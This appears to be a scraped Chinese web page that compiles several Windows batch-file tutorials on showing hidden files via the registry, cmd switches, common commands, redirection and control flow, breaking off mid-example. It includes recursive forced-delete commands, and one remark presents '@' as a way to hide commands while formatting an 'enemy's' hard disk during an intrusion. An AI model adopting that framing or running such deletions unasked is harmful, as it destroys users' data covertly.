批处理 显示系统文件

| 数据库系统 |

【www.guakaob.com--数据库系统】

批处理 显示系统文件篇一:显示所有隐藏文件和系统文件, 以及文件扩展名 的批处理

@echo 显示所有隐藏文件和系统文件, 以及文件扩展名

@echo off

pause

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "WebViewBarricade" /t REG_DWORD /d 00000001 /f 1>nul 2>nul

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 00000001 /f 1>nul 2>nul

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 00000000 /f 1>nul 2>nul

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 00000001 /f 1>nul 2>nul

批处理 显示系统文件篇二:《windows系统管理--使用命令行,批处理文件和windows脚本》(命令行基础)

《windows系统管理--使用命令行,批处理文件和windows脚本》(命令行基础) 上一篇 / 下一篇 2009-01-06 15:26:52

查看( 353 ) / 评论( 0 ) / 评分( 0 / 0 )

很多的系统管理员可能认为命令行是程序员编程用的,这是不对的,其实命令行是另一种用来管理计算机的接口。

1 命令行窗口

Windows NT/Windows 2000以后的操作系统为用户提供了两种命令行窗口:cmd.exe和

command.com,CMD.EXE是 窗口命令行接口,因此它可以通过窗口右上角的X来关闭,它不是一个dos窗口,而COMMAND.COM是一个16位的DOS应用程序,它用于支持老的dos应用程序,它必须通过命令行输入exit才可以退出,它一般运行于NTVDM中。但就用户来说,这两个命令有惊人的相似之处,如果用户运行command.exe,用户会在任务管理器中看到一个进程ntvdm.exe在运行,如果运行cmd.exe则进程可以看到cmd.exe,而且command.exe还支持以前的16位的现在已经不用的命令。下面分别是2种接口的打开方法和显示结果。

在开始->运行,输入cmd,然后enter。如下:

在开始->运行,输入command,然后enter。如下:

2 窗口的属性

第一种方法:

窗口中输入命令:Cmd [{/A | /U}] [/Q] [/D] [/E: {ON | OFF}] [[/S] [{/C | /K}] string] [/V:{ON |/OFF}] [/T:FG] 参数的含义:

/C string Executes the command specified in the string and then exits the command shell.

/K string Executes the command specified in the string and does not exit the command shell.

/S Modifies the commands used as strings with the /C and /K parameters. Usually, you place quotes around command strings.The /S parameter removes the pening and closing quotes before processing the command.

/A Causes the output of internal commands to be sent to a file (this process is also called piping) in ANSI character format.

/U Causes the output of internal commands to be sent to a file (this process is also called piping) in Unicode character format.

/Q Turns off echo, which is on by default. Echo off mode is also known as quiet mode. When echo is on, each command is displayed as it is processed.

/D Disables the AutoRun command from the Registry.

/E:ON Enables command extensions if they were disabled. Command extensions are enabled by default. /E:OFF Disables command extensions.

/F:ON Enables the completion of characters for files and directories, which help improve typing speed at the command prompt.

/F:OFF Disables the completion of characters for files and directories.

/V:ON Enables delayed environment variable expansion by using the exclamation point character (!) as the delimiter. This means that using !ThisVar! will expand the variable ThisVar at the time of execution. /V:OFF Disables delayed environment variable expansion.

/T:FG 设定命令行窗口的前背景色

第二种方法:在命令行窗口的左上角点击,可得到属性设置对话框,如下:

注:可以设定执行过的命令的记录数,然后用方向键查看。还有快捷键从F1到F9哦,怎么用自己试试看喽。

3 命令行Shell的内部命令

命令行可以执行2种命令:内部命令和外部命令。外部命令是以.exe的形式存在的,一般存放在系统的目录下,例如XCOPY.EXE用来拷贝整个目录树结构,DISKPART.EXE用来管理磁盘,IPCONFIG.EXE用来显示和刷新计算机的IP/TCP的配置。。。

以下是比较常用的内部命令:

■ Assoc 显示和修改的相关程序.

■ Call 在批处理文件中调用其他函数或批处理文件.

■ CD (ChDir) 改变目录.

■ Color 改变前背景色.

■ Cls 清屏.

■ Copy 拷贝文件

■ Date 显示和修改系统日期.

■ Dir 显示目录下文件信息.

■ Del (Erase) 删除文件.

■ Echo 在命令行窗口种显示文本.

■ Endlocal 退出使用本地化环境变量.

■ Exit 退出命令行窗口.

■ For 批处理文件种使用循环.

■ Ftype 显示修改文件类型.

■ Goto 批处理文件种语句跳转.

■ If 批处理文件种条件选择.

■ Md (Mkdir) 创建目录.

■ Move 移动文件.

■ Path 显示和改变命令行窗口执行程序的搜索路径,当无参数使用是显示当前的系统路径. ■ Pause 暂停批处理文件的执行.

■ PopD 使用存储的目录还原目录.

■ Prompt 设置命令行窗口的显示文本.

■ PushD 存储当前使用的目录.

■ Rd (Rmdir) 删除目录

■ Rem 在品处理文件种加注释.

■ Set 显示,设定或删除环境变量. 当你无参数使用这个命令,显示系统的环境变量 ■ Setlocal 在批处理文件中开始使用本地环境变量

■ Shift 改变批处理文件中某能够取代的参数的位置.

■ Start 打开命令行窗口.

■ Time 显示和改变当前系统的时间.

■ Title 改变执行批处理文件时的命令行窗口的title

■ Type 显示文本文件的内容,但是不可以修改

■ Vol 显示分区的卷标和序列号

3 windows常用外部命令

批处理 显示系统文件篇三:批处理命令大全

批处理命令大全

1 echo 和 @

回显控制命令

@ #关闭单行回显

echo off #从下一行开始关闭回显

@echo off #从本行开始关闭回显。一般批处理第一行都是这个

echo on #从下一行开始打开回显

echo #显示当前是 echo off 状态还是 echo on 状态

echo. #输出一个"回车换行",一般就是指空白行

echo hello world #输出hello world

"关闭回显"是指运行批处理文件时,不显示文件里的每条命令,只显示运行结果 批处理开始和结束时,系统都会自动打开回显

2 errorlevel

程序返回码

echo %errorlevel%

每个命令运行结束,可以用这个命令行格式查看返回码

用于判断刚才的命令是否执行成功

默认值为0,一般命令执行出错会设 errorlevel 为1

3 dir

显示目录中的文件和子目录列表

dir #显示当前目录中的文件和子目录

dir /a #显示当前目录中的文件和子目录,包括隐藏文件和系统文件

dir c: /a:d #显示 C 盘当前目录中的目录

dir c:\ /a:-d #显示 C 盘根目录中的文件

dir d:\mp3 /b/p #逐屏显示 d:\mp3 目录里的文件,只显示文件名,不显示时间和大小 dir *.exe /s

显示当前目录和子目录里所有的.exe文件

其中 * 是通配符,代表所有的文件名,还一个通配符 ? 代表一个任意字母或汉字 如 c*.* 代表以 c 开头的所有文件

?.exe 代表所有文件名是一个字母的.exe文件

如果指定的目录或文件不存在,将返回 errorlevel 为1

每个文件夹的 dir 输出都会有2个子目录 . 和 ..

. 代表当前目录

.. 代表当前目录的上级目录

dir . #显示当前目录中的文件和子目录

dir .. #显示当前目录的上级目录中的文件和子目录

其它参数可参考 dir /?

4 cd

更改当前目录

cd mp3 #进入当前目录中的mp3 目录

cd .. #进入当前目录中的上级目录

cd\ #进入根目录

cd #显示当前目录

cd /d d:\mp3 #可以同时更改盘符和目录

cd\"Documents and Settings"\All users

文件名带空格,可以不加引号

建议加上引号,因为有的时候不加引号会运行出错,如登录脚本

如果更改到的目录不存在,则出错返回 errorlevel=1

5 md

创建目录

md abc #在当前目录里建立子目录 abc

md d:\a\b\c #如果 d:\a 不存在,将会自动创建

6 rd

删除目录

rd abc #删除当前目录里的 abc 子目录,要求为空目录

rd /s/q d:\temp #删除 d:\temp 文件夹及其子文件夹和文件,不需要按 Y 确认

7 del

删除文件

del d:\test.txt #删除指定文件,不能是隐藏、系统、只读文件

del *.*

删除当前目录里的所有文件,不包括隐藏、系统、只读文件,要求按 Y 确认

del /q/a/f d:\temp\*.*

删除 d:\temp 文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录 del /q/a/f/s d:\temp\*.*

删除 d:\temp 及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录

8 ren

文件重命名

ren 1.txt 2.bak #把 1.txt 更名为 2.bak

ren *.txt *.ini #把当前目录里所有.txt文件改成.ini文件

ren d:\temp tmp #支持对文件夹的重命名

9 cls

清屏

10 type

显示文件内容

type c:\boot.ini #显示指定文件的内容,程序文件一般会显示乱码

type *.txt #显示当前目录里所有.txt文件的内容

11 copy

拷贝文件

copy c:\test.txt d:\

复制 c:\test.txt 文件到 d:\

copy c:\test.txt d:\test.bak

复制 c:\test.txt 文件到 d:\ ,并重命名为 test.bak

copy c:\*.*

复制 c:\ 所有文件到当前目录,不包括隐藏文件和系统文件

不指定目标路径,则默认目标路径为当前目录

copy con test.txt

从屏幕上等待输入,按 Ctrl+Z 结束输入,输入内容存为test.txt文件

con代表屏幕,prn代表打印机,nul代表空设备

copy 1.txt + 2.txt 3.txt

合并 1.txt 和 2.txt 的内容,保存为 3.txt 文件

如果不指定 3.txt ,则保存到 1.txt

copy test.txt +

复制文件到自己,实际上是修改了文件日期

12 title

设置cmd窗口的标题

title 新标题 #可以看到cmd窗口的标题栏变了

13 ver

显示系统版本

14 label 和 vol

设置卷标

vol #显示卷标

label #显示卷标,同时提示输入新卷标

label c:system #设置C盘的卷标为 system

15 pause

暂停命令

运行该命令时,将显示下面的消息:

请按任意键继续 . . .

一般用于看清楚屏幕上显示的内容

16 rem 和 ::

注释命令

注释行不执行操作

17 date 和 time

日期和时间

date #显示当前日期,并提示输入新日期,按"回车"略过输入

date/t #只显示当前日期,不提示输入新日期

time #显示当前时间,并提示输入新时间,按"回车"略过输入

time/t #只显示当前时间,不提示输入新时间

18 goto 和 :

跳转命令

:label #行首为:表示该行是标签行,标签行不执行操作

goto label #跳转到指定的标签那一行

19 find (外部命令)

查找命令

find "abc" c:\test.txt

在 c:\test.txt 文件里查找含 abc 字符串的行

如果找不到,将设 errorlevel 返回码为1

find /i "abc" c:\test.txt

查找含 abc 的行,忽略大小写

find /c "abc" c:\test.txt

显示含 abc 的行的行数

20 more (外部命令)

逐屏显示

more c:\test.txt #逐屏显示 c:\test.txt 的文件内容

21 tree

显示目录结构

tree d:\ #显示D盘的文件目录结构

22 &

顺序执行多条命令,而不管命令是否执行成功

c: & cd\ & dir /w

相当于把下面3行命令写到1行去了

c:

cd\

dir /w

23 &&

顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令

f: && cd\ && dir >c:\test.txt

注意如果f盘不存在,那么后面2条命令将不会执行

find "ok" c:\test.txt && echo 成功

如果找到了"ok"字样,就显示"成功",找不到就不显示

24 ||

顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

f: || e:

如果有f盘就不进入e盘

find "ok" c:\test.txt || echo 不成功

如果找不到"ok"字样,就显示"不成功",找到了就不显示

25 |

管道命令

前一个命令的执行结果输出到后一个命令

dir *.* /s/a | find /c ".exe"

管道命令表示先执行 dir 命令,对其输出的结果执行后面的 find 命令

该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数

type c:\test.txt|more

这个和 more c:\test.txt 的效果是一样的

26 > 和 >>

输出重定向命令

> 清除文件中原有的内容后再写入

>> 追加内容到文件末尾,而不会清除原有的内容

主要将本来显示在屏幕上的内容输出到指定文件中

指定文件如果不存在,则自动生成该文件

echo hello world>c:\test.txt

生成c:\test.txt文件,内容为hello world

这个格式在批处理文件里用得很多,可以生成 .reg .bat .vbs 等临时文件

type c:\test.txt >prn

屏幕上不显示文件内容,转向输出到打印机

echo hello world>con

在屏幕上显示hello world,实际上所有输出都是默认 >con 的

copy c:\test.txt f: >nul

拷贝文件,并且不显示"文件复制成功"的提示信息,但如果f盘不存在,还是会显示出错信息

copy c:\test.txt f: >nul 2>nul

不显示"文件复制成功"的提示信息,并且f盘不存在的话,也不显示错误提示信息 echo ^^W ^> ^W>c:\test.txt

生成的文件内容为 ^W > W

^ 和 > 是控制命令,要把它们输出到文件,必须在前面加个 ^ 符号

27 <

从文件中获得输入信息,而不是从屏幕上

一般用于 date time label 等需要等待输入的命令

@echo off

echo 2005-05-01>temp.txt

date <temp.txt

del temp.txt

这样就可以不等待输入直接修改当前日期

28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*

批处理 显示系统文件篇四:批处理文件写法

一、什么叫做批处理文件? 批处理文件(文件名为*.BAT)就是将一些常用的命令写入一个文本文件内。当我们要使用这个文件时,只要键入批处理文件的文件名,批处理文件就会依照文件中的命令来执行全部或者是一部分指定要执行命令。如此我们便可简化我们的工作,而不用每一次都需要手动键入很多的命令来执行一些动作。 一个批处理文件的建立,因为必须是一个文本文件;所以只要有字处理功能的软件,都可用来建立此文本文件,例如EDIT,WORDSTAR,PE2……等程序皆可。 二、什么是自动批处理? 自动批处理文件(AUTOEXEC.BAT),是批处理文件的一种,处于引导盘(一般为C盘或A盘)的根目录下,当每一次开机时,系统将自动到引导盘的根目录下查找它,如果找到了就自动执行它。 三、批处理文件中可以使用哪些命令? 只要能够在DOS的系统提示符下执行的命令,或应用软件执行文件名称,都能写在批处理文件中,批处理命令也可包含在内,详细如下: 1.DOS的内部命令 2.DOS的外部命令 3.COM的命令文件 4.EXE的可执行文件 5.批文件命令:CALL,ECHO,FOR,GOTO,IF,PAUSE,REM,SHIFT 6.其他的批文件 四、批处理文件命令 BATCH DOS 命令1.功能: 批处理命令是存储在一个特殊的批处理文件(Batch File)中的DOS命令。当执行一个批处理文件时,DOS将依次执行文件内所存储的各项DOS命令。 2.格式:[d:][path][filename.bat][parameters] 3.说明: ①、批处理文件的扩展名应为.BAT。 ②、当执行批处理文件时,您可将参数(parameters)传给一名称为file-name.bat的文件,给予不同的参数,将可以执行类似的工作。 ③、如果要停止批处理文件的动作,只要按下ctrl+break二键,即可停止正在执行的命令,并且出现下述信息: terminate batch job?(Y/N) 如果按下Y键就可以终止批处理文件的执行工作。如果按N键,那系统将会继续执行其它的批处理文件中的命令。 4.范例: ①、如果在test.bat文件内包括一些替换参数,将使得在执行时,可以使用您所提供的值来替换它。例如: copy %1.mac %2.mac type %2.prn type %0.bat %0,%1,%2这三个可以被代换的参数,于执行时将使用批处理文件时的三个参数顺序依次来代换之。 %0参数永远使用批处理文件的文件名来取代。 在一个批处理文件内最多可以使用10个替换参数(%0到%9) ②、当您要执行test.bat的批处理文件时,系统将依照%1,%2等顺序给予适当的参数。例如: A:\>test a:prog1 b:prog2 于是系统将以test代表%0,以a:\prog1代表%1,以b:\prog2代表%2因此在执行此命令时,就相当于直接在键盘上依次输入下述DOS命令一样

: copy a:\prog1.mac b:\prog2.mac type b:\prog2.prn typt test.bat ③、批处理文件亦可使用DOS的环境变量。环境变量于使用时前后都要加上一个%符号。例如要取用DOS PATH的值,您必需输入%PATH%。下例是先假设将变量destination定义为一台磁盘驱动器代码: SET destination=C:于是执行以下所述命令 ECHO dot here>%destination%FILE1 (必须在批处理文件中执行) 执行之后,C磁盘的file1文件内将会存在dot here字符串。 CALL 批处理文件命令1.功能: 您可以在批处理文件里面调用令一个批处理文件,执行完毕后在继续执行原来的这个批处理文件内的剩余命令。 2.格式:CALL[d:][path][filename.bat][argument] 3.说明: ①、[argument]参数:指定经由批处理文件所要求的任何命令行信息;它可包含开关选择项、文件指定、变量%1至%9以及其它像%baud%这样的变量。 ②、CALL命令可以在批处理文件的任何位置,只要执行时不要超过内存容量即可。 ③、批处理文件也可以调用自己本身,但必须确定最后仍可以结束才好。 ④、CALL命令不可以与重定向输入字符(如:<)以及数据管道字符(如:|)合用。 4.范例: ①、现有main.bat批处理文件内容如下所述: REM I am ist batch file REM go to 2nd batch file CALL a2 REM now come back! REM END ②、其中A2.bat批处理文件内容如下所述: REM I am 2nd batch file REM I will back to main batch file ③、执行时 A:\>main (执行main.bat) A:\>REM I am ist batch file (main.bat前两行) A:\>REM go 2nd batch file A:\>CALL A2 (由main.bat中调用a2.bat) A:\>REM I am 2nd batch file (执行a2.bat文件的内容) A:\>REM I will back to main batch file A:\>REM now come back! (a2.bat结束后返回main.bat A:\>REM END 继续执行其余命令) CHOICE选择键组命令 批处理文件命令1.功能: 此命令将显示指定的提示并暂停让用户在指定的键组中做选择,然后返回一个ERRORLEVEL参数给批处理程序。您只能在批处理程序中使用本命令。 2.格式:[d:][path]CHOICE[/C[:]KEYS][/N][/S][/T[:]C'nn][test] 3.说明: ①、/C[:]keys参数:在提示中指定允许可用的键。当显示时,keys将以逗黠分开并放置于括弧中,而且其后将会加上问号。如果您并无指定/C参数,则CHOICE将会使用YN来当做默认值。冒号(:)是可有可无的。 ②、/N参数:使CHOICE不显示提示,但是提示前的文字仍会显示。如果您指定此参数,则指定键仍然有效。 ③、/S参数:将导致CHOICE会区分大小写。如果此参数未被指定,则CHOICE将接受用户指定的任意键值的大写或小写。 ④、/T[:]C'nn参数:在默认指定键之前,使CHOICE在指定的秒数中暂停。/T参数可用的值如下所示: c---nn秒后,指定的字

符将为默认的。字符必须是/c参数中所指定的选择组。 nn--指定暂停的秒数。可接受0到99之间。如果指定0,则在默认之前将不会有暂停。 ⑤、[test]参数:您想在提示符前显示的字符。假如您包含斜线(\)做为提示前字符的一部分时,则必须加引号。如果您并无提示字符,则CHOICE将仅显示提示符。您所分派的第一个键将为1,第二个键将为2……余此类推。如果用户按下了一个未分派到的键,则CHOICE将发出一警告声响。如果CHOICE检测到一个错误的情况,那么它将返回一ERRORLEVEL值为255的值;如果使用者按下了Crtl+Break二键或Ctrl+c二键,则CHOICE将返回一ERRORLEVEL值为0的值。 4、范例: 这个CHIOCE命令最有用的地方就是用在批处理文件设计中。它将让用户按下指定的按键后,执行某一段在批处理文件中的命令。例如:下面是包含CHOICE命令的TEST.BAT文件内容: @echo off cls echo. ┐ echo 1.defragment │ echo 2.MSD ├—显示这些字符 echo 3.Anti-Virus │ echo. ┘ choice/c:123/t:1,10 将出现要您选择1或者2或者3的提示字符,如果等10秒后,用户尚未键入1或2或3中任一字符,则自动键入1。 if errorlevel 1 goto defragmant 当用户在上述键入1时,将寻找:defragment段来执行defrag程序。 if errorlevel 2 goto msd 当用户在上述键入2时,将寻找:msd段来执行msd程序。 if errorlevel 3 goto av 当用户到上述键入3时,将寻找:av段来执行msav程序。 :defragment ┐ defrag ├:defragment段 goto end ┘ :msd ┐ msd ├:msd段 goto end ┘ :av ┐ msav ├:av段 goto end ┘ :end 结束 ECHO 批处理文件命令1.功能: 允许批处理文件执行时显示或不显示命令本身,但对于命令的执行则无影响。 2.格式:ECHO [on|off] ECHO [message] 3.说明: ①、ECHO命令在启动或系统重置时,均默认为on,而可将每一批处理命令在执行同时,显示在输出设备(屏幕)上。 ②、当ECHO命令设定为off时在批处理命令执行时,将不显示该命令内容,但不影响执行结果。 ③、如果您指定了ECHO message,则不论是ECHO on 或ECHO off,message信息皆会显示在标准输出设备(屏幕)上。 ④、如果ECHO后面未加任何字符,如on、off或message,则只会显示出ECHO当前是在on或off的状态。 4.范例: REM 范例:① ECHO off ECHO piping symbol"\"ECHO redirect symbol">/" “/”及“>”在DOS命令里有其特殊的意义,如果要让DOS不处理时,则需使用双引号括起来。 REM 范例: ② @ECHO off @REM THIS LINE WILL NOT DISPLAY REN THIS LINE WILL BE DISPLAYED @file1 上例中,命今前有@符号,其命令行本身将不会被显示出来,其余的命令行都将被显示出来。 REM 范例

:③ @ECHO off DIR *.TXT 执行的结果如下: Volume in drive A is ABC Directory of A:TEST1 TXT 13 06-26-90 4:03P TEST2 TXT 13 06-26-90 4:03P TEST3 TXT 13 06-26-90 4:04P 3 File(s) 310272 bytes free 连ECHO off 命令本身亦不显示。 FOR 内部命令、批处理文件命令1.功能: 可以让我们反覆地执行DOS的命令。 2.格式: 在批处理文件中: FOR [%%c] in(set) DO [command][arguments] 在MS-DOS命令行中: FOR [%c] in(set) DO [command][arguments] 3.说明: ①、[%%c]或[%c]参数:将顺序地得到(set)这个集合中的各个元素来作为它的值,当得到一个值之后,就执行COMMAND此一DOS命令。 ②、(set)中可包含*、?、/等通配符,那么[%%c]参数就会被设置成磁盘中能够匹配引指定的第一个文件名称,同时亦可使用路径。 ③、[command]参数:指定您希望执行在每一包含在(set)中文件命令。 ④、[arguments]参数为:[command]参数指定选择项。 4.范例: ①、如果一批处理文件中含有下述命令: FOR %%F IN (TEST1.DBF TEST2.DBF TEST3.DBF) DO DEL %%F 则执行时,将有下述的结果: DEL TEST1.DBF DEL TEST2.DBF DEL TEST3.DBF ②、如果批处理文件中含有下述的命令:(在TEST.BAT内) FOR %%F IN (%1 %2 %3 %4 %5) DO DEL %%F 则在执行时执行下列命令,将有与前项相同的结果: A>TEST TEST1.DBF TEST2.DBF TEST3.DBF ③、如果欲在DOS下直接执行此命令,则%%c只要改为%c的形式即可。 GOTO 内部命令、批处理文件命令1.功能: 将DOS控制权转移到某标号(LABEL)中,继续往后面执行。在批处理文件中的一个标号是以一个冒号(:)开头,其后跟着一个标号名称(LANEL NAME)所组成。 2.格式:GOTO label 3.说明: ①、GOTO label会造成接着执行标号label那一行的命令。 ②、如果label未被定义,则当前这一个批处理文件的动作就会停止,并显示label notfound 信息。 ③、批处理文件中的标号名称是由前面8个字来定义的。 ④、批处理文件的标号是永远不会显示出来的。所以未引用的标号可用来作为一些注解。 4.范例: TEST.BAT 文件,内容如下: @ECHO OFF GOTO SECOND :FIRST REM I AM FIRST :SECOND REM I AM SECOND 执行结果如下: REM I AM SECOND IF 内部命令、批处理文件命令1.功能: 使DOS可以有条件地执行命令。 2.格式:IF[not] errorlevel number command IF[not] [string1]==[string2] command IF[not] exist filename.ext command 3.说明: ①、[not]参数:是一个可选择使用的条目,使用时会将其后面条件的结果再求一个相反的结果。 ②、errorlevel number:errorlevel 是DOS产生出来的一个退出码。如果退出码大于或等于number(指定一个十进制值),则此条件成立,系统即可执行后面

指定的command。 注意:测试退出码时要由大到小来测试,因为退出码只要测到大于或等于指定的值时,该条件即成立。 ③、[string1]==[string2]:string1及string2皆为字符的数据,英文字母的大小写将视为不同。当[string1]及[string2]内容完全相同时,则此条件成立,并执行后面指定的command。此条件中的等号(=)必须要有两个。 ④、exist filename.ext:如果指定的文件存在时,则所得的结果为“真”,否则为“假”。若为真,则系统即执行后面指定的command。 ⑤、IF命令为一个分支命令。condition是一个条件,command是根据条件成立时才去执行的命令。若不成立时则往下继续执行次一个批处理文件命令。 ⑥、IF errorlevel 主要是用于配合自己的程序,并于执行完毕后设置一个错误代码(errorcode),以便与IF errorlevel命令一起使用。 4.范例:REM 范例: ① @ECHO OFF MYPROG1 IF ERRORLEVEL 2 GOTO 2 IF ERRORLEVEL 1 GOTO 1 GOTO EXTI :L1 ECHO DATA ERROR GOTO EXIT :L2 ECHO PROGRAM CANCEL :EXIT 上例中MYPROG1为一程序,在执行时如果发生退出码时,则表示该程序未执行成功。 REM 范例:② @ECHO OFF IF "%1"=="" GOTO EXIT IF %1==1 GOTO L1 IF %1==2 GOTO L2 GOTO EXIT :L1 ECHO I AM L1 GOTO EXIT :L2 ECHO I AM L2 :EXIT 本例中,""(空字符串)、1、2是指定要与%1参数比较诉字符串。 REM 范例:③ @ECHO OFF IF NOT EXIST PE2.EXE GOTO EXIT PE2 GOTO END :EXIT ECHO PE2.EXE NOT FOUND! :END 本例中,先检查PE2.EXE文件是否存在,不存在时则显示一个找不到的信息后结束。如果找到时则执行该程序后结束。 PAUSE 内部命令、批处理文件命令1.功能: 暂时停止系统命令的执行并显示下列信息: strike a eky when ready...... 2.格式:PAUSE 3.说明: ①、PAUSE命令可以在DOS执行一个命令时暂停,使您有机会来更换盘片。按下任何一个键后,即可让DOS继续执行下一个命令。 ②、执行PAUSE命令时,系统会暂停;如果您要终止执行此批处理文件,则您可按下Ctrl+Break二键,接头按下Y,即可终止执行,但如果于此时按下N,则系统将继续执行其它命令。 4.范例: PAUSE1.BAT 文件,内容如下: @ECHO OFF @ECHO I am first PAUSE @ECHO ON @ECHO I am second @ECHO Please put a new diskette into drive A PAUSE 则其执行结果如下所示: A:\>PAUSE1 I am first strike any key when ready... I am second Please put a new diskette into drive A strike any key when ready... REM 批处理文件命令、配置文件命令1.功能: 可以在配置文件(CONFIG.SYS)或批处理文件(.BAT)中加上注解说明。 2.格式:REM [comment] 3.说明: ①、[comment]参数:表示注解行,不会被当作命令执行。

批处理 显示系统文件篇五:Windows批处理文件

Windows批处理文件

【 一、什么是批处理 】

批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理。批处理文件的扩展名为 bat 。

目前比较常见的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。这里要讲的就是DOS批处理。 批处理是一种简化的脚本语言,它应用于DOS和Windows系统中,它是由DOS或者 Windows系统内嵌的命令解释器(通常是COMMAND.COM或者CMD.EXE)解释运行。类似于Unix中的Shell脚本。批处理文件具有.bat或者.cmd的扩展名,其最简单的例子,是逐行书写在命令行中会用到的各种命令。更复杂的情况,需要使用if,for,goto等命令控制程序的运行过程,如同C,Basic等中高级语言一样。如果需要实现更复杂的应用,利用外部程序是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理文件,或称为批处理程序,是由一条条的DOS命令组成的普通文本文件,可以用记事本直接编辑或用DOS命令创建,也可以用DOS下的文本编辑器Edit.exe来编辑。在“命令提示”下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe运行该批处理程序。一般情况下,每条命令占据一行;当然也可以将多条命令用特定符号(如:&、&&、|、||等)分隔后写入同一行中;还有的情况就是像if、 for等较高级的命令则要占据几行甚至几十几百行的空间。系统在解释运行批处理程序时,首先扫描整个批处理程序,然后从第一行代码开始向下逐句执行所有的命令,直至程序结尾或遇见exit命令或出错意外退出。

【 二、简单批处理命令简介 】

【 echo 命令 】

打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。

语法

echo [{on|off}] [message]

Sample:@echo off / echo hello world

在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一

些命令到特定的文件中。

【 rem 命令 】

注释命令,类似于在C语言中的/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读

和你自己日后修改。

Rem Message

Sample:@Rem Here is the description.

【 pause 命令 】

暂停命令。运行 Pause 命令时,将显示下面的消息:

Press any key to continue. . .(或:请按任意键继续. . .)

Sample:

@echo off

copy G:*.* d:\back echo 请插入另一张光盘... pause goto begin

在这个例子中,驱动器 G 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张光盘

盘放入驱动器 G 时,pause 命令会使程序挂起,以便您更换光盘,然后按任意键继续处理。

【 call 命令 】

从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的

标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

语法

call [[Drive:][Path] FileName ] [:label [arguments]]

参数

[Drive:}[Path] FileName

指定要调用的批处理程序的位置和名称。 【 start 命令 】 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 如:start calc.exe 即可打开Windows的计算器。

常用参数:

“title” 在窗口标题栏中显示标题

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令

脚本内执行,该新行为则不会发生。

Start 可以省略

【 goto 命令 】

跳转命令。程序指针跳转到指定的标签,从标签后的第一条命令开始继续执行批处理程序。

语法:goto label (label是参数,指定所要转向的批处理程序中的行。)

Sample:

if {%1}=={} goto noparms

if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释

。)

@Rem check parameters if null show usage

echo Usage: monitor.bat ServerIP PortNumber

goto end

标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto

命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

【 set 命令 】

显示、设置或删除变量。

显示变量:set 或 set s 前者显示批处理当前已定义的所有变量及其值,后者显示所有以s开头的变量及值。

设置变量:set aa=abcd 此句命令便可向变量aa赋值abcd。如果变量aa已被定义,则aa的值被修改为abcd;若aa尚未定义,则此句命令即可定义新的变量aa,同时为变量aa赋予初始值abcd。

删除变量:set aa= 此句命令即可删除变量aa。若变量aa已被定义,则删除变量aa;若aa尚未定义,则此句命令为实质意义。

需要说明的是,批处理中的变量是不区分类型的,不需要像C语言中的变量那样还要区分int、float、char等。比如执行set aa=345后,变量aa的值既可以被视为数字345,也可以被视为字符串345。

set命令具有扩展功能,如用作交互输入、字符串处理、数值计算等,属于高级命令范畴。

【 三、批处理符号简介 】

【 回显屏蔽 @ 】

表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

@用法举例:通过运行批处理文件对比pause和@pause命令即可明了@的效果。

【 重定向1 >与>> 】

将输出信息重定向到指定的设备或文件。系统默认输出到显示器。

如:echo aaaaa>a.txt 即可将本在显示器上显示的信息aaaaa输出到文件a.txt中,屏幕上没有任何显示。如果文件a.txt本来已经存在,该命令将首先擦除a.txt中的所有信息,然后写入信息aaaaa;若a.txt本来就不存在,该命令即可新建一个a.txt文件,并写入信息aaaaa。 echo aaaaa>>a.txt 类似于echo aaaaa>a.txt。区别在于:如果a.txt本已存在,>a.txt会擦除a.txt中的原有内容,而>>a.txt并不擦除原有内容,仅在a.txt文件的末尾添加信息aaaaa。a.txt不存在时,二者没有差别。

【 重定向2 < 】

将输入信息来源重定向为指定的设备或文件。系统默认从显示器读取输入信息。 重定向使用举例:

=========================================

@echo off

echo abcdefg——这是文件a.txt中的信息>a.txt

echo 请任意输入字符,以回车结束:

set /p ifo=

cls

echo 【 从屏幕获得的输入信息 】

echo %ifo%

set /p ifo=<a.txt

echo 【 从文件a.txt获得的输入信息 】

echo %ifo%

pause>nul

=========================================

读者观察命令与输出即可体会到重定向的功能和效果。

【 管道符号 | 】

将管道符号前面命令的输出结果重定向输出到管道符号后面的命令中去,作为后面命令的输入。使用格式为:command_1|command_2

管道符号使用举例:

=========================================

@echo off

echo aaaa>a.txt

